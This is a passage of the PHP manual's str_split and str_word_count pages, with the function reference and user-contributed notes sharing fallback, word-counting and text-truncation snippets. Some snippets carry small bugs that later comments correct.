    [6] => r
    [7] => ô
    [8] => s
    [9] => é
)
Array
(
    [0] => süpér
    [1] => brôsé
)
fstorm2 at gmail dot com 29-Aug-2006 02:08
If you use PHP 4 and don't need the split_length parameter, here's the shortest replacement:

<?php

preg_split('#(?<=.)(?=.)#s', $str);

?>
http://www.matt-fletcher.co.uk/ 21-Aug-2006 04:44
A simple way to split credit card numbers into chunks of four numbers:

<?php
echo implode(' ',str_split($card_number,4));
?>
malmsteenforce at tlen dot pl 19-Jul-2006 10:52
<?
//fast & short version od str_split

function string_split($str)
      {
        $str_array=array();
        $len=strlen($str);
        for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
        return $str_array;
       }
//example :
var_dump (string_split("split this"));
?>
user at mockme dot com 25-Mar-2006 05:53
found this great example on a php board for those not using php5, as an alternative to the posts below this

<?php
if(!function_exists('str_split')){
    function str_split($string,$split_length=1){
        $count = strlen($string);
        if($split_length < 1){
            return false;
        } elseif($split_length > $count){
            return array($string);
        } else {
            $num = (int)ceil($count/$split_length);
            $ret = array();
            for($i=0;$i<$num;$i++){
                $ret[] = substr($string,$i*$split_length,$split_length);
            }
            return $ret;
        }
    }
}
?>
simple 15-Mar-2006 07:54
if (!function_exists("str_split")) {
    function str_split($string, $length = 1) {
        if ($length <= 0) {
            trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
            return false;
        }
        $splitted  = array();
        while (strlen($string) > 0) {
            $splitted[] = substr($string, 0, $length);
            $string = substr($string, $length);
        }
        return $splitted;
    }
}
14-Mar-2006 05:49
Note to function by carlosreche at yahoo dot com.

The while:
<?php
...
               while ($str_length--) {
                   $splitted[$i] = $string[$i++];
               }
...
?>
.. result in index starting at 1.
Ie: str_split("ABC") gives
Array
(
    [1] => A
    [2] => B
    [3] => C
)
While php5's str_split("ABC") gives
Array
(
    [0] => A
    [1] => B
    [2] => C
)
And his str_split("ABC",2) gives index starting at 0.
Change to this (or something similar):
<?php
...
               while ($str_length--) {
                   $splitted[$i] = $string[$i];
                   $i++;
               }
...
?>
.... or use heavyraptor's function. A bit more sclick,..
heavyraptor 10-Mar-2006 02:07
I think that the last post by carlosreche at yahoo dot com is too complicated.
It's much easier if you do it like this:

<?php
if (!function_exists("str_split")) {
  function str_split($str,$length = 1) {
    if ($length < 1) return false;
    $strlen = strlen($str);
    $ret = array();
    for ($i = 0; $i < $strlen; $i += $length) {
     $ret[] = substr($str,$i,$length);
    }
    return $ret;
  }
}
?>

I hope it helps for those with PHP <5
carlosreche at yahoo dot com 15-Feb-2006 04:23
For those who work with PHP < 5:

<?php

if (!function_exists("str_split")) {
    function str_split($string, $length = 1) {
        if ($length <= 0) {
            trigger_error(__FUNCTION__."(): The the length of each segment must be greater then zero:", E_USER_WARNING);
            return false;
        }
        $splitted  = array();
        $str_length = strlen($string);
        $i = 0;
        if ($length == 1) {
            while ($str_length--) {
                $splitted[$i] = $string[$i++];
            }
        } else {
            $j = $i;
            while ($str_length > 0) {
                $splitted[$j++] = substr($string, $i, $length);
                $str_length -= $length;
                $i += $length;
            }
        }
        return $splitted;
    }
}

?>
Hage Yaapa 04-Feb-2006 06:27
The very handy str_split() was introduced in PHP 5, but a lot of us are still forced to use PHP 4 at our host servers. And I am sure a lot of beginners have looked or are looking for a function to accomplish what str_split() does.

Taking advantge of the fact that strings are 'arrays' I wrote this tiny but useful e-mail cloaker in PHP, which guarantees functionality even if JavaScript is disabled in the client's browser. Watch how I make up for the lack of str_split() in PHP 4.3.10.

<?php

// cloackEmail() accepts a string, the email address to be cloaked
function cloakEmail($email) {

// We create a new array called $arChars, which will contain the individula characters making up the email address. The array is blank for now.
    $arChars = array();

// We extract each character from the email 'exploiting' the fact that strings behave like an array: watch the '$email[$i]' bit, and beging to fill up the blank array $arChars
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }

// Now we work on the $arChars array: extract each character in the array and print out it's ASCII value prefixed with '&#' to convert it into an HTML entity
    foreach ($arChars as $char) { print '&#'.ord($char); }

// The result is an email address in HTML entities which, I hope most email address harvesters can't read.

}
print cloakEmail('someone@nokikon.com');
?>

###### THE CODE ABOVE WITHOUT COMMENTS ######

<?php
function cloakEmail($email) {
    $arChars = array();
    for ($i = 0; $i < strlen($email); $i++) { $arChars[] = $email[$i]; }
    foreach ($arChars as $char) { print '&#'.ord($char); }
}
print cloakEmail('someone@nokikon.com');
?>
In creating this little utility, I demonstrated how the lack of str_split() can be made up in PHP < 5. If you got how it was accomplished, you could write a function to do exactly what str_split() does in PHP 5 and even name it 'str_split()'. :)
organek at hektor dot umcs dot lublin dot pl 21-May-2005 04:57
[Editor's Note: Or just: php.net/wordwrap]
This is a little function to split a string into shorter strings with max lenght $n in such way, that it don't split words (it search for spaces), it's usefull for articles or sth.
Result is put in $ttab variable, and function result is number of "pages".

<?php
function divide_text($text, $n, &$ttab) {

    $ttab = array();
    $l = strlen($text); // text length
    $cb = 0;    //copy begin from..
    $p = 0; // parts

    if ($l  <= $n) {
        $ttab[0] = $text;
        return 1;
    } else {
        $ctrl = 1;
        while(((($p-1) * $n) < $l) && ($ctrl < 100)) {
        $crtl++; // control variable, to protect from infinite loops

        $tmp = substr($text, $cb, $n);

        // we're looking for last space in substring
        $lastpos = strrpos($tmp," ");

        if ( (is_bool($lastbool) && !$lastpos) || ( $l - $cb <= $n)) {
            $ttab[$p] = $tmp;

        } else  {
            $tmpgood = trim(substr($tmp, 0,$lastpos));  // if they were another spaces at the end..
            $ttab[$p] = $tmpgood;
            $cb += $lastpos + 1 ;

        }; // if
        $p++;
        }; //for
        return $p;
    }; // if

} // divide text

?>
aidan at php dot net 20-May-2004 09:53
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
str_shuffle
str_word_count
String Functions


Return information about words used in a string

str_split
strcasecmp
String Functions
PHP Manual

str_word_count

(PHP 4 >= 4.3.0, PHP 5)

str_word_count — Return information about words used in a string

Description

mixed str_word_count ( string $string [, int $format = 0 [, string $charlist ]] )

Counts the number of words inside string. If the optional format is not specified, then the return value will be an integer representing the number of words found. In the event the format is specified, the return value will be an array, content of which is dependent on the format. The possible value for the format and the resultant outputs are listed below.

For the purpose of this function, 'word' is defined as a locale dependent string containing alphabetic characters, which also may contain, but not start with "'" and "-" characters.

Parameters

string

The string

format

Specify the return value of this function. The current supported values are:

  • 0 - returns the number of words found
  • 1 - returns an array containing all the words found inside the string
  • 2 - returns an associative array, where the key is the numeric position of the word inside the string and the value is the actual word itself

charlist

A list of additional characters which will be considered as 'word'

Return Values

Returns an array or an integer, depending on the format chosen.

Changelog

Version | Description
5.1.0 | Added the charlist parameter

Examples

Example #1 A str_word_count() example

<?php

$str = "Hello fri3nd, you're
       looking          good today!";

print_r(str_word_count($str, 1));
print_r(str_word_count($str, 2));
print_r(str_word_count($str, 1, 'àáãç3'));

echo str_word_count($str);

?>

The above example will output:

Array
(
    [0] => Hello
    [1] => fri
    [2] => nd
    [3] => you're
    [4] => looking
    [5] => good
    [6] => today
)

Array
(
    [0] => Hello
    [6] => fri
    [10] => nd
    [14] => you're
    [29] => looking
    [46] => good
    [51] => today
)

Array
(
    [0] => Hello
    [1] => fri3nd
    [2] => you're
    [3] => looking
    [4] => good
    [5] => today
)

7

See Also

  • explode() - Split a string by string
  • preg_split() - Split string by a regular expression
  • split() - Split string into array by regular expression
  • count_chars() - Return information about characters used in a string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

Samer Ata 05-Jan-2012 09:21
This is my own version of to get SEO meta description from wordpress post content. it is also generic usage function to get the first n words from a string.

<?php
function my_meta_description($text,$n=10)
{
$text=strip_tags($text);  // not neccssary for none HTML
// $text=strip_shortcodes($text); // uncomment only inside wordpress system
$text = trim(preg_replace("/\s+/"," ",$text));
$word_array = explode(" ", $text);
if (count($word_array) <= $n)
return implode(" ",$word_array);
else
{
$text='';
foreach ($word_array as $length=>$word)
{
    $text.=$word ;
    if($length==$n) break;
    else $text.=" ";
}
}
return $text;
?>
Stano110 at azet dot sk 10-Jul-2011 06:36
This function count words, is quick and works well with utf-8: (this is corrected version from my previous post)

<?php
function count_words($string)
{
    $string = htmlspecialchars_decode(strip_tags($string));
    if (strlen($string)==0)
        return 0;
    $t = array(' '=>1, '_'=>1, "\x20"=>1, "\xA0"=>1, "\x0A"=>1, "\x0D"=>1, "\x09"=>1, "\x0B"=>1, "\x2E"=>1, "\t"=>1, '='=>1, '+'=>1, '-'=>1, '*'=>1, '/'=>1, '\\'=>1, ','=>1, '.'=>1, ';'=>1, ':'=>1, '"'=>1, '\''=>1, '['=>1, ']'=>1, '{'=>1, '}'=>1, '('=>1, ')'=>1, '<'=>1, '>'=>1, '&'=>1, '%'=>1, '$'=>1, '@'=>1, '#'=>1, '^'=>1, '!'=>1, '?'=>1); // separators
    $count= isset($t[$string[0]])? 0:1;
    if (strlen($string)==1)
        return $count;
    for ($i=1;$i<strlen($string);$i++)
        if (isset($t[$string[$i-1]]) && !isset($t[$string[$i]])) // if new word starts
            $count++;
    return $count;
}
?>
Stano110 at azet dot sk 10-Jul-2011 05:05
This function count words, is quick and works well with utf-8:

    function count_words($string)
    {
        //$string = htmlspecialchars_decode(strip_tags($string)); // optional
        $t = array(' '=>1, '_'=>1, "\x20", "\xA0", "\x0A", "\x0D", "\x09", "\x0B", '='=>1, '+'=>1, '-'=>1, '*'=>1, '/'=>1, '\\'=>1, ','=>1, '.'=>1, ';'=>1, ':'=>1, '"'=>1, '\''=>1, '['=>1, ']'=>1, '{'=>1, '}'=>1, '('=>1, ')'=>1, '<'=>1, '>'=>1, '&'=>1, '%'=>1, '$'=>1, '@'=>1, '#'=>1, '^'=>1, '!'=>1, '?'=>1); // separators
        $count= isset($t[$string[0]])? 0:1;
        for ($i=1;$i<strlen($string);$i++)
            if (isset($t[$string[$i-1]]) && !isset($t[$string[$i]])) // if new word starts
                $count++;
        return $count;
    }
Zulfugar Ismayilzadeh admin at mid dot az 14-Apr-2011 04:52
This function count words. But this function works with UTF-8 too.

<?php

/**
 * @author Zulfugar Ismayilzadeh
 * @copyright 2011
 */

function count_words($string){

   $string = trim(preg_replace("/\s+/"," ",$string));

   $word_array = explode(" ", $string);

   $num = count($word_array);

   return $num;

}

$str = "Hello fri3nd, you're               looking good today!";

echo count_words($str);

?>
matthewkastor at live dot com 05-Apr-2011 07:08
This needs improvement, but works well as is.

<?php
/**
 * Generates an alphabetical index of unique words, and a count of their occurrences, in a file.
 *
 * This works on html pages or plain text files.
 * This function uses file_get_contents, so it
 * is possible to use a url instead of a local filename.
 *
 * Change the search pattern at
 * <code> $junk = preg_match('/[^a-zA-Z]/', $word); </code>
 * if you want to keep words with numbers or other characters. The pattern
 * I've set searches for anything that is not an upper or lowercase letter,
 * you may want something else.
 *
 * The array returned will look something like this:
 * <code>
 * Array
 * (
 *     [0] => Array
 *        (
 *            [word] => a
 *            [count] => 21
 *        )
 *
 *     [1] => Array
 *        (
 *            [word] => ability
 *            [count] => 1
 *        )
 * )
 * </code>
 *
 * @param string $file The file ( or url ) you want to create an index from.
 * @return array
 */
function index_page($file) {
    $index = array();
    $find = array(
        '/\r/',
        '/\n/',
        '/\s\s+/'
    );
    $replace = array(
        ' ',
        ' ',
        ' '
    );
    $work = file_get_contents($file);
    $work = preg_replace('/[>][<]/', '> <', $work);
    $work = strip_tags($work);
    $work = strtolower($work);
    $work = preg_replace($find, $replace, $work);
    $work = trim($work);
    $work = explode(' ', $work);
    natcasesort($work);
    $i = 0;
    foreach($work as $word) {
        $word = trim($word);
        $junk = preg_match('/[^a-zA-Z]/', $word);
        if($junk == 1) {
            $word = '';
        }
        if( (!empty($word)) && ($word != '') ) {
            if(!isset($index[$i]['word'])) { // if not set this is a new index
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            } elseif( $index[$i]['word'] == $word ) {  // count repeats
                $index[$i]['count'] += 1;
            } else { // else this is a different word, increment $i and create an entry
                $i++;
                $index[$i]['word'] = $word;
                $index[$i]['count'] = 1;
            }
        }
    }
    unset($work);
    return($index);
}
?>

example usage:

<?php
$file = 'http://www.php.net/';
// or use a local file, see file_get_contents() for valid filenames and restrictions.

$index = index_page($file);
echo '<pre>'.print_r($index,true).'</pre>';
?>
dmVuY2lAc3RyYWhvdG5pLmNvbQ== (base64) 18-Oct-2010 04:39
to count words after converting a msword document to plain text with antiword, you can use this function:

<?php
function count_words($text) {
    $text = str_replace(str_split('|'), '', $text); // remove these chars (you can specify more)
    $text = trim(preg_replace('/\s+/', ' ', $text)); // remove extra spaces
    $text = preg_replace('/-{2,}/', '', $text); // remove 2 or more dashes in a row
    $len = strlen($text);

    if (0 === $len) {
        return 0;
    }

    $words = 1;

    while ($len--) {
        if (' ' === $text[$len]) {
            ++$words;
        }
    }

    return $words;
}
?>

it strips the pipe "|" chars, which antiword uses to format tables in its plain text output, removes more than one dashes in a row (also used in tables), then counts the words.

counting words using explode() and then count() is not a good idea for huge texts, because it uses much memory to store the text once more as an array. this is why i'm using while() { .. } to walk the string
lballard dot cat at gmail dot com 26-Sep-2010 08:17
word limiter:

$str = "my hella long string" ;
$length = 3;
$shortened =
implode(' ',array_slice(str_word_count($str,1),0,$length));
brettz9 - see yahoo 12-Feb-2010 11:33
Words also cannot end in a hyphen unless allowed by the charlist...
charliefrancis at gmail dot com 29-Jul-2009 04:56
Hi this is the first time I have posted on the php manual, I hope some of you will like this little function I wrote.

It returns a string with a certain character limit, but still retaining whole words.
It breaks out of the foreach loop once it has found a string short enough to display, and the character list can be edited.

<?php
function word_limiter( $text, $limit = 30, $chars = '0123456789' ) {
    if( strlen( $text ) > $limit ) {
        $words = str_word_count( $text, 2, $chars );
        $words = array_reverse( $words, TRUE );
        foreach( $words as $length => $word ) {
            if( $length + strlen( $word ) >= $limit ) {
                array_shift( $words );
            } else {
                break;
            }
        }
        $words = array_reverse( $words );
        $text = implode( " ", $words ) . '&hellip;';
    }
    return $text;
}

$str = "Hello this is a list of words that is too long";
echo '1: ' . word_limiter( $str );
$str = "Hello this is a list of words";
echo '2: ' . word_limiter( $str );
?>

1: Hello this is a list of words&hellip;
2: Hello this is a list of words
pdziok at gmail dot com 05-Jul-2009 12:08
I like your function eanimator but it got a little mistake - before the dots it putted another space.
This is a version with "bug" repaired:

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }
    if ($dots) {
        $string = substr($string, 0, strlen($string));
    }

    return $string.$dots;
}
?>
jazz090 13-Apr-2009 10:39
Personally, I dont like using this function becuase the characters it omits are sometime nessesery for instance MS Word counts ">" or "<" alone as single word where this function doesnt. I like using this however, it counts EVERYTHING:

<?php
function num_words($string){
    preg_match_all("/\S+/", $string, $matches);
    return count($matches[0]);
}
?>
splogamurugan at gmail dot com 05-Feb-2009 02:32
We can also specify a range of values for charlist.

<?php
$str = "Hello fri3nd, you're
       looking          good today!
       look1234ing";
print_r(str_word_count($str, 1, '0..3'));
?>

will give the result as

Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing )
eanimator at yahoo dot com 11-Jan-2009 12:37
My quick and rough wordLimiter function.

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }

    return $string.$dots;
}
?>
manrash at gmail dot com 22-Dec-2008 03:06
For spanish speakers a valid character map may be:

<?php
$characterMap = 'áéíóúüñ';

$count = str_word_count($text, 0, $characterMap);
?>
om+www dot php dot net at miakinen dot net 07-Sep-2008 01:23
The previous function str_word_count_utf8 implemented only the first parameter, $string. Here is an implementation which also supports the second parameter, $format. The $charlist is not supported, though it could be possible to give the possibility to change the MASK.

<?php
    define("WORD_COUNT_MASK", "/\p{L}[\p{L}\p{Mn}\p{Pd}'\x{2019}]*/u");

    function str_word_count_utf8($string, $format = 0)
    {
        switch ($format) {
        case 1:
            preg_match_all(WORD_COUNT_MASK, $string, $matches);
            return $matches[0];
        case 2:
            preg_match_all(WORD_COUNT_MASK, $string, $matches, PREG_OFFSET_CAPTURE);
            $result = array();
            foreach ($matches[0] as $match) {
                $result[$match[1]] = $match[0];
            }
            return $result;
        }
        return preg_match_all(WORD_COUNT_MASK, $string, $matches);
    }
?>

Note that in the case $format=2 the numeric positions are expressed in octets, not in characters.
om+www dot php dot net at miakinen dot net 06-Sep-2008 02:29
Here is a code for a function str_word_count() compatible with UTF-8. I'm sorry that the comments are in French because I am not very good in English: anyway, these comments only try to explain things that are in PCRE or Unicode documentations.

<?php
    /*
     * Explications du masque pour preg_match_all.
     *
     * La fonction str_word_count standard considère qu'un mot est
     * une séquence de caractères qui contient tous les caractères
     * alphabétiques, et qui peut contenir, mais pas commencer
     * par "'" et "-".
     *
     * Avec Unicode et UTF-8, une lettre peut être un caractères
     * ASCII non accentué tel que "e" ou "E", mais aussi un "é" ou
     * un "É", lequel peut se représenter sous la forme de deux
     * caractères : d'abord le "E" non accentué, puis l'accent tout
     * seul. Une lettre "E" ou "É" fait partie de la classe « L »,
     * un accent de la classe « Mn ».
     *
     * Par ailleurs, "-" n'est plus le seul trait d'union possible.
     * Plutôt que de les lister individuellement, j'ai choisi de
     * tester les caractères de la classe « Pd ». Un inconvénient
     * est que cela inclut aussi le tiret cadratin et d'autres,
     * mais cet inconvénient existait déjà avec str_word_count et
     * le tiret ascii, et en outre il ne concerne pas le français
     * (contrairement à l'anglais, il y a toujours des espaces
     * autour de ces tirets).
     *
     * Enfin, "'" n'est pas non plus la seule apostrophe possible.
     * Mais contrairement aux tirets je teste juste l'apostrophe
     * typographique U+2019 à part au lieu de tester la classe « Pf »
     * car cette dernière contient trop de signes de ponctuation
     * à exclure de la définition d'un mot.
     *
     * Un mot commence donc par une lettre \p{L}, éventuellement
     * accentuée (suivie par un nombre quelconque de \p{Mn}), et
     * ensuite on peut rencontrer un nombre quelconques d'autres
     * lettres (\p{L} et \p{Mn}), de tirets (\p{Pd}) ou d'apostrophes
     * (' et \x{2019}). Tout ceci, bien sûr, dans un masque compatible
     * avec UTF-8 (/u à la fin).
     *
     * Pour les références, voir :
     * http://fr2.php.net/manual/fr/regexp.reference.php #regexp.reference.unicode
     * http://fr2.php.net/manual/fr/reference.pcre.pattern.modifiers.php
     */
    define("WORD_COUNT_MASK", "/\p{L}[\p{L}\p{Mn}\p{Pd}'\x{2019}]*/u");

    function str_word_count_utf8($str)
    {
        return preg_match_all(WORD_COUNT_MASK, $str, $matches);
    }
luce 06-Sep-2008 02:52
Fix Cathy function bug.

Original Cathy function :
[code]
<?php
    function limit_text($text, $limit) {
      if (strlen($text) > $limit) {
          $words = str_word_count($text, 2);
          $pos = array_keys($words);
          $text = substr($text, 0, $pos[$limit]) . '...';
      }
      return $text;
    }
?>
[/code]

This function return undefined index if $limit < $text.

For fix it :
[code]
<?php
    function limit_text($text, $limitstr, $limitwrd) {
      if (strlen($text) > $limitstr) {
          $words = str_word_count($text, 2);
          if ($words > $limitwrd) {
              $pos = array_keys($words);
              $text = substr($text, 0, $pos[$limitwrd]) . '...';
          }
      }
      return $text;
    }
?>
[/code]
aspu.ru 17-Jun-2008 04:21
str_word_count: mixed (string string, [int format], [string charlist])

It can help you to solve problem with digest and some locales. Best regards.
robocop at robotix dot fr 30-Mar-2008 06:21
function count_words($texte)
{
$texte=trim($texte);
$motsinutiles = array(' * ', ' - ', ' : ', '\n');
$texte = str_replace($motsinutiles, '', $texte);
$texte = preg_replace("/\s\s+/", " ", $texte);
$decoupeapostrophes = count(explode('\'', $texte)); //On découpe la chaine en apostrophes
   if($decoupeapostrophes==0) $nombreapostrophes = 0;
   if ($decoupeapostrophes%2==0) {$nombreapostrophes = $decoupeapostrophes/2;}
   else  $nombreapostrophes = ($decoupeapostrophes/2)-0.5;
$nombreespace = count(explode(' ', $texte));

return $nombreespace+$nombreapostrophes;
}
security_man 24-Dec-2007 01:13
there was a glitch in the code cathy put a post or two ago... should be:

    function limit_text($text, $limit) {
    $text = strip_tags($text);
      $words = str_word_count($text, 2);
      $pos = array_keys($words);
      if (count($words) > $limit) {
          $text = substr($text, 0, $pos[$limit]) . ' ...';
      }
    return $text;
    }

I also added the strip tags in case there is html in there to gum up the works
Adeel Khan 08-Dec-2007 08:01
<?php

/**
 * Returns the number of words in a string.
 * As far as I have tested, it is very accurate.
 * The string can have HTML in it,
 * but you should do something like this first:
 *
 *    $search = array(
 *      '@<script[^>]*?>.*?</script>@si',
 *      '@<style[^>]*?>.*?</style>@siU',
 *      '@<![\s\S]*?--[ \t\n\r]*>@'
 *    );
 *    $html = preg_replace($search, '', $html);
 *
 */

function word_count($html) {

  # strip all html tags
  $wc = strip_tags($html);

  # remove 'words' that don't consist of alphanumerical characters or punctuation
  $pattern = "#[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]+#";
  $wc = trim(preg_replace($pattern, " ", $wc));

  # remove one-letter 'words' that consist only of punctuation
  $wc = trim(preg_replace("#\s*[(\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]\s*#", " ", $wc));

  # remove superfluous whitespace
  $wc = preg_replace("/\s\s+/", " ", $wc);

  # split string into an array of words
  $wc = explode(" ", $wc);

  # remove empty elements
  $wc = array_filter($wc);

  # return the number of words
  return count($wc);

}

?>
Cathy 19-Jul-2007 01:16
A cute little function for truncating text to a given word limit:
<?php
    function limit_text($text, $limit) {
      if (strlen($text) > $limit) {
          $words = str_word_count($text, 2);
          $pos = array_keys($words);
          $text = substr($text, 0, $pos[$limit]) . '...';
      }
      return $text;
    }
?>
geertdd at gmail dot com 13-Jun-2007 09:04
This is an update to my previously posted word_limiter() function. The regex is even more optimized now. Just replace the preg_match line. Change to:

<?php
preg_match('/^\s*(?:\S+\s*){1,'. (int) $limit .'}/', $str, $matches);
geertdd at gmail dot com 28-May-2007 04:52
Here's a very fast word limiter function that preserves the original whitespace.

<?php

function word_limiter($str, $limit = 100, $end_char = '&#8230;') {

    if (trim($str) == '')
        return $str;

    preg_match('/\s*(?:\S*\s*){'. (int) $limit .'}/', $str, $matches);

    if (strlen($matches[0]) == strlen($str))
        $end_char = '';

    return rtrim($matches[0]) . $end_char;
}

?>

For the thought process behind this function, please read: http://codeigniter.com/forums/viewthread/51788/

Geert De Deckere
joshua dot blake at gmail dot com 02-Mar-2007 05:02
I needed a function which would extract the first hundred words out of a given input while retaining all markup such as line breaks, double spaces and the like. Most of the regexp based functions posted above were accurate in that they counted out a hundred words, but recombined the paragraph by imploding an array down to a string. This did away with any such hopes of line breaks, and thus I devised a crude but very accurate function which does all that I ask it to:

function Truncate($input, $numWords)
{
  if(str_word_count($input,0)>$numWords)
  {
    $WordKey = str_word_count($input,1);
    $PosKey = str_word_count($input,2);
    reset($PosKey);
    foreach($WordKey as $key => &$value)
    {
        $value=key($PosKey);
        next($PosKey);
    }
    return substr($input,0,$WordKey[$numWords]);
  }
  else {return $input;}
}

The idea behind it? Go through the keys of the arrays returned by str_word_count and associate the number of each word with its character position in the phrase. Then use substr to return everything up until the nth character. I have tested this function on rather large entries and it seems to be efficient enough that it does not bog down at all.

Cheers!

Josh
josh at joshblake.net 01-Mar-2007 03:57
I was interested in a function which returned the first few words out of a larger string.

In reality, I wanted a preview of the first hundred words of a blog entry which was well over that.

I found all of the other functions which explode and implode strings to arrays lost key markups such as line breaks etc.

So, this is what I came up with:

function WordTruncate($input, $numWords) {
if(str_word_count($input,0)>$numWords)
{
    $WordKey = str_word_count($input,1);
    $WordIndex = array_flip(str_word_count($input,2));
    return substr($input,0,$WordIndex[$WordKey[$numWords]]);
}
else {return $input;}
}

While I haven't counted per se, it's accurate enough for my needs. It will also return the entire string if it's less than the specified number of words.

The idea behind it? Use str_word_count to identify the nth word, then use str_word_count to identify the position of that word within the string, then use substr to extract up to that position.

Josh.
30-Jan-2007 08:15
Here is a php work counting function together with a javascript version which will print the same result.

<?php
      //Php word counting function
      function word_count($theString)
      {
        $char_count = strlen($theString);
        $fullStr = $theString." ";
        $initial_whitespace_rExp = "^[[:alnum:]]$";

        $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
        $non_alphanumerics_rExp = "^[[:alnum:]]$";
        $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
        $splitString = explode(" ",$cleanedStr);

        $word_count = count($splitString)-1;

        if(strlen($fullStr)<2)
        {
          $word_count=0;
        }
        return $word_count;
      }
?>

<?php
      //Function to count words in a phrase
      function wordCount(theString)
      {
        var char_count = theString.length;
        var fullStr = theString + " ";
        var initial_whitespace_rExp = /^[^A-Za-z0-9]+/gi;
        var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, "");
        var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi;
        var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " ");
        var splitString = cleanedStr.split(" ");

        var word_count = splitString.length -1;

        if (fullStr.length <2)
        {
          word_count = 0;
        }
        return word_count;
      }
?>
Aurelien Marchand 06-Oct-2006 09:06
I found a more reliable way to print, say the first 100 words and then print elipses. My code goes this way;

$threshold_length = 80; // 80 words max
$phrase = "...."; // populate this with the text you want to display
$abody = str_word_count($phrase,2);
if(count($abody) >= $threshold_length){ // gotta cut
  $tbody = array_keys($abody);
  echo "<p>" . substr($phrase,0,$tbody[$threshold_length]) . "... <span class=\"more\"><a href=\"?\">read more</a></span> </p>\n";
} else { // put the whole thing
  echo "<p>" . $phrase . "</p>\n";
}

For any questions, com.iname@artaxerxes2
lwright at psu dot edu 17-Aug-2006 11:51
If you are looking to count the frequency of words, try:

<?php

$wordfrequency = array_count_values( str_word_count( $string, 1) );

?>
rabin at rab dot in 04-Apr-2006 11:03
There is a small bug in the "trim_text" function by "webmaster at joshstmarie dot com" below. If the string's word count is lesser than or equal to $truncation, that function will cut off the last word in the string.

[EDITOR'S NOTE: above referenced note has been removed]

This fixes the problem:

<?php
function trim_text_fixed($string, $truncation = 250) {
    $matches = preg_split("/\s+/", $string, $truncation + 1);
    $sz = count($matches);
    if ( $sz > $truncation ) {
        unset($matches[$sz-1]);
        return implode(' ',$matches);
    }
    return $string;
}
?>
webmaster at joshstmarie dot com 25-Sep-2005 04:58
Trying to make an effiecient word splitter, and "paragraph limiter", eg, limit item text to 100, or 200 words and so-forth.

I don't know how well this compares, but it works nicely.

function trim_text($string, $word_count=100)
{
    $trimmed = "";
    $string = preg_replace("/\040+/"," ", trim($string));
    $stringc = explode(" ",$string);
    echo sizeof($stringc);
    if($word_count >= sizeof($stringc))
    {
        // nothing to do, our string is smaller than the limit.
      return $string;
    }
    elseif($word_count < sizeof($stringc))
    {
        // trim the string to the word count
        for($i=0;$i<$word_count;$i++)
        {
            $trimmed .= $stringc[$i]." ";
        }

        if(substr($trimmed, strlen(trim($trimmed))-1, 1) == '.')
          return trim($trimmed).'..';
        else
          return trim($trimmed).'...';
    }
}

$text = "some  test          text goes in here, I'm not sure, but ok.";
echo trim_text($text,5);
MadCoder 15-Aug-2005 09:12
Here's a function that will trim a $string down to a certian number of words, and add a...   on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}

Usage
------------------------------------------------
$string = "one two three four";
echo trim_text($string, 3);

returns:
one two three...
jtey at uoguelph dot ca 14-Aug-2005 04:21
In the previous note, the example will only extract from the string, words separated by exactly one space.  To properly extract words from all strings, use regular expressions.

Example (extracting the first 4 words):
<?php
$string = "One    two three       four  five six";
echo implode(" ", array_slice(preg_split("/\s+/", $string), 0, 4));
?>

The above $string would not have otherwise worked when using the explode() method below.
jtey at uoguelph dot ca 14-Aug-2005 07:59
In reply to muz1's post below:

You can also take advantage of using other built in PHP functions to get to your final result.  Consider the following:
<?php
$string = "One two three four five six seven eight nine ten.";
// the first n words to extract
$n = 3;
// extract the words
$words = explode(" ", $string);
// chop the words array down to the first n elements
$firstN = array_slice($words, 0, $n);
// glue the 3 elements back into a spaced sentence
$firstNAsAString = implode(" ", $firstN);
// display it
echo $firstNAsAString;
?>

Or to do it all in one line:
<?php
echo implode(" ", array_slice(explode(" ", $string), 0, $n));
?>
muz1 at muzcore dot com 12-Aug-2005 12:56
This function is awesome however I needed to display the first 100 words of a string. I am submitting this as a possible solution but also to get feedback as to whether it is the most efficient way of doing it.

<?
                                    $currString = explode(" ", $string);
for ($wordCounter=0; $wordCounter<100; $wordCounter++) { echo $currString[$wordCounter]." "; }
?>
16-Jan-2005 06:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee 14-Nov-2004 02:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
    $m=strlen($str)/2;
    $a=1;
    while ($a<$m) {
        $str=str_replace("  "," ",$str);
        $a++;
        }
    $b = explode(" ", $str);
    $i = 0;
    foreach ($b as $v) {
        $i++;
        }
    if ($n==1) return $b;
    else  return $i;

    }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net 26-Jun-2004 03:02
This functionality is now implemented in the PEAR package PHP_Compat.

